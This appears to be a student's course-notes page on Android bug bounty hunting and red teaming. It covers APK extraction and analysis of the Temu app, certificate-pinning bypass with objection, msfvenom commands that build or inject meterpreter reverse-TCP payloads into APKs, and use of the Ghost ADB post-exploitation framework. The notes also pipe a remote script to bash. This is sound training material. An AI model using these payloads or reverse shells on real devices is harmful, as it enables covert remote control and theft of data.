TCM Security Academy Notes - by syselement
🏠 Home BlogGitHub📚 Buy Me a Book
  • TCM Security Academy Notes
  • Courses
    • TCM - Linux 101
      • 1. Introduction
        • Linux Distributions
        • Installing Linux
      • 2. Command Line
        • Intro to Command Line
        • Getting help on the Command Line
        • Command Line Arguments and Options
        • Reading Text Files
      • 3. File System
        • Filesystem Hierarchy Standard
        • Devices, Partitions and Mounting
        • Absolute and Relative Paths
        • Files and Directories
        • Paths, Filenames and Text Files
        • Filesystem Links
        • Archiving and Searching Files
      • 4. Users and Groups
        • Working with Users and Groups
        • File and Directory Permissions
        • Changing Users and Passwords
      • 5. Installing Software
        • Package Management
      • 6. Shells
        • Common Command Line Shells
        • Environment Variables & Startup Files
        • Input/Output Redirection
        • Command History & Substitution
      • 7. Utilities and File Editors
        • Searching and Processing Text
        • Networking at the Command Line
        • File Transfer
        • Text Editors and Converters
      • 8. Process Management
        • Process Information
        • Foreground and Background Processes
        • Managing Processes
        • Scheduling Processes
      • 9. Regular Expressions
        • Regular Expressions, Searching, Replacing, Building
      • 10. Bash Scripting
        • Bash Scripting Basics, Control Structures, Loops
      • 🌐Linux101 References
    • TCM - Mobile Application Penetration Testing
      • 1. Introduction & Mobile Pentesting
      • 2. Android Security
      • 3. Android Lab Setup
      • 4. Android Static Analysis
      • 5. Android Dynamic Analysis
      • 6. Android Bug Bounty
      • 7. iOS Security
      • 8. iOS Lab Setup
      • 9. iOS Static Analysis
      • 10. iOS Dynamic Analysis
      • 11. iOS Bug Bounty
      • 🌐MAPT References
    • TCM - Practical Ethical Hacking
      • 1. Introduction & Networking
      • 2. Lab Set Up, Linux & Python
        • Intro to Kali Linux
        • Intro to Python
      • 3. The Ethical Hacker Methodology
        • Information Gathering
        • Scanning & Enumeration
        • Vulnerability Scanning with Nessus
        • Exploitation Basics
        • Capstone Practical Labs
      • 4. Active Directory
        • Active Directory Lab
        • AD - Initial Attack Vectors
        • AD - Post-Compromise Enumeration
        • AD - Post-Compromise Attacks
        • AD - Additional Attacks
        • AD - Case Studies
      • 5. Post Exploitation
      • 6. Web Application
        • Web App Lab Setup
        • Web App - SQL Injection
        • Web App - XSS
        • Web App - Command Injection
        • Web App - Insecure File Upload
        • Web App - Authentication Attacks
        • Web App - XXE
        • Web App - IDOR
        • Web App - Capstone Practical Lab
      • 7. Wireless Attacks
      • 8. Legal Documentation & Report Writing
      • 🌐PEH References
  • 🏠syselement's Blog Home
Powered by GitBook
On this page
  • Android Bug Bounty Hunt
  • Android Red Teaming
  • Create Generic APK with Metasploit
  • Inject App with Metasploit
  • The Ghost Framework

Was this helpful?

Edit on GitHub
  1. Courses
  2. TCM - Mobile Application Penetration Testing

6. Android Bug Bounty

Previous5. Android Dynamic AnalysisNext7. iOS Security

Last updated 1 year ago

Was this helpful?

Android Bug Bounty Hunt

❗ Always refer to a HackerOne Bug Bounty program to find valid targets

🔗

  • 🧪 e.g. - Android App is in scope

Install Temu app via Android Play Store - name com.einnovation.temu

frida-ps -Uai | grep temu  
	Temu com.einnovation.temu

Pull apk from the phone

cd ~/tcm/mapt/temu

adb shell pm list packages | grep temu
adb shell pm path com.einnovation.temu

adb pull /data/app/com.einnovation.temu-RKERNRo1SuGOM3UEbNeFIA==/base.apk
adb pull /data/app/com.einnovation.temu-RKERNRo1SuGOM3UEbNeFIA==/split_config.arm64_v8a.apk
adb pull /data/app/com.einnovation.temu-RKERNRo1SuGOM3UEbNeFIA==/split_config.xhdpi.apk

    .rw-r--r-- 19M base.apk
    .rw-r--r-- 15M split_config.arm64_v8a.apk
    .rw-r--r-- 77k split_config.xhdpi.apk

mv base.apk temu.apk

# or use apkpull tool by david-lee
curl -sL bit.ly/apkpull | bash -s -- com.einnovation.temu -d .

Open base.apk in jadx-gui

Check AndroidManifest.xml minSdkVersion, Permissions, exported activities, providers, links, keys etc. Search:

  • android:exported="true"

Check strings.xml for hardcoded strings, databases (Firebase, etc), keys, email, phone numbers, etc.

Setup BurpSuite with Proxy listener to All interfaces and set the proxy on the device network connection (make sure BurpSuite certificate is installed)

# Create an alias for set and unset proxy
alias adbsetproxy="adb shell settings put global http_proxy $(ip -o -4 addr show eth1 | awk '{print $4}' | sed 's/\/.*//g'):8080"

alias adbunsetproxy="adb shell settings put global http_proxy :0"

# Use the created alias to set the proxy
adbsetproxy
  • Navigate the app. It seems certificate pinning is on.

Try to bypass Certificate Pinning

objection -g com.einnovation.temu explore -s "android sslpinning disable"
  • Certificate Pinning bypassed successfully. Traffic is intercepted in BurpSuite.

    • Navigate the app and check the HTTP history requests.

In Jadx-GUI search for URLs (http, https), API_KEY, Coupons, etc

Check internal storage for sensitive data store in files, cache, databases, etc

adb shell
su

cd /data/data/com.einnovation.temu/

# or open Device Explorer in Android Studio
  • Check for databases

# e.g.
adb pull /data/data/com.einnovation.temu/databases/google_app_measurement_local.db

# if Permission Denied error use su command like this

adb -d shell "su -c cp /data/data/com.einnovation.temu/databases/google_app_measurement_local.db /sdcard/Download"
adb pull /sdcard/Download/google_app_measurement_local.db

sqlitebrowser google_app_measurement_local.db

Interaction with all the app's functions is important to further analyze the app during dynamic analysis.

Patching APK

# Usage
cd ~/repo
git clone https://github.com/NickstaDB/patch-apk.git
cd ~/repo/patch-apk
apktool empty-framework-dir --force

python3 patch-apk.py com.einnovation.temu

# In case of apktool error
mv ~/.local/share/apktool/framework/1.apk ~/.local/share/apktool/framework/1.apk.bak
# Get a proper framework apk from a device /system/framework
adb pull /system/framework/framework-res.apk
mv framework-res.apk ~/.local/share/apktool/framework/1.apk

# Re-run patck-apk
python3 patch-apk.py com.einnovation.temu

Reinstall the new patched app in the phone

adb uninstall com.einnovation.temu
adb install com.einnovation.temu-patched

Android Red Teaming

❗ Always use the following Hardware on permitted targets, from a Red Team perspectice.

Create Generic APK with Metasploit

The following command will generate a Main Activity app, that makes the Android device reach the Kali VM machine establishing a session.

msfvenom -p android/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> R> android.apk
  • Sign the android.apk and upload it to the device.

# Create a Keystore
keytool -genkey -v -keystore demo.keystore -alias demokeys -keyalg RSA -keysize 2048 -validity 10000

# Sign the APK
jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore demo.keystore -storepass demopw android.apk demokeys

# zipalign the APK
zipalign -v 4 android.apk android_signed.apk
adb install android_signed.apk

# or via network (to device or emulator)
# adb -H 192.168.56.103 -P 5555 install android_signed.apk
  • Open a meterpreter shell and listen for the connection

msfconsole
use exploit/multi/handler
# set LHOST and LPORT same as in the msfvenom command
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>
run

Inject App with Metasploit

Make sure Apktool is updated.

Download InjuredAndroid.

mkdir ~/apks
cd ~/apks

wget -O InjuredAndroid.apk https://github.com/B3nac/InjuredAndroid/releases/download/v1.0.12/InjuredAndroid-1.0.12-release.apk

adb install InjuredAndroid.apk
  • Inject a Meterpreter payload into the InjuredAndroid.apk

msfvenom -x InjuredAndroid.apk -p android/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -o InjuredAndroid_hacked.apk
adb uninstall b3nac.injuredandroid
adb install InjuredAndroid_hacked.apk 
msfconsole -q
use exploit/multi/handler
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>
run

📌 The reverse shell may not work correctly because of Android and emulator versions or incompatibility.

The Ghost Framework

cd ~/repo
git clone https://github.com/kp-forks/ghost-1.git
cd ghost-1
sudo ./install.sh

# Run with
sudo ./ghost
  • To make it work on port 5555, adb should be connected via tcp to the device

# Connect device with USB
adb tcpip 5555
adb connect <DEVICE_IP>:5555
adb devices
# Disconnet device USB
# Similar to Metasploit
set RHOST <DEVICE_IP>
options

run
# Some Ghost commands
Core Commands
=============

    Command        Description
    -------        -----------
    clear          Clear terminal window.
    exec           Execute local system command.
    exit           Exit and close current session.
    help           Show available session commands.

Settings Commands
=================

    Command        Description
    -------        -----------
    activity       Get device activity information.
    battery        Get device battery information.
    netstat        Get device network information.
    sysinfo        Get device system information.
    wifi           Control device wifi service.

Managing Commands
=================

    Command        Description
    -------        -----------
    eatpass        Eat device passcode.
    keyboard       Control target keyboard.
    openurl        Open URL on device.
    screen         Control device screen.
    screenshot     Take device screenshot.
    shell          Open device shell.
    upload         Upload local file.

Stealing Commands
=================

    Command        Description
    -------        -----------
    download       Download remote file.

Boot Commands
=============

    Command        Description
    -------        -----------
    reboot         Reboot device.

After navigating and interacting with the app, Pull interesting db files and check them with , look through the database tables and structure.

tool can also be used for identifying the package name, extracting APKs, patching with objection, consolidating split APKs, enabling CA certificates, uninstalling the original app, and installing the patched version.

🔗

🔗 - Ghost Framework is an Android post-exploitation framework that exploits the Android Debug Bridge to remotely access an Android device. Ghost Framework gives you the power and convenience of remote Android device administration

HackerOne Android programs
Temu - com.einnovation.temu
SQLite Browser
patch-apk
O.MG Cable - Hak5
USB Ninja Cable - Hacker Warehouse
Manual - Embedding Meterpreter in Android APK - Black Hills Information Security
kp-forks/ghost-1
AndroidManifest.xml
https
API-KEY
shared_prefs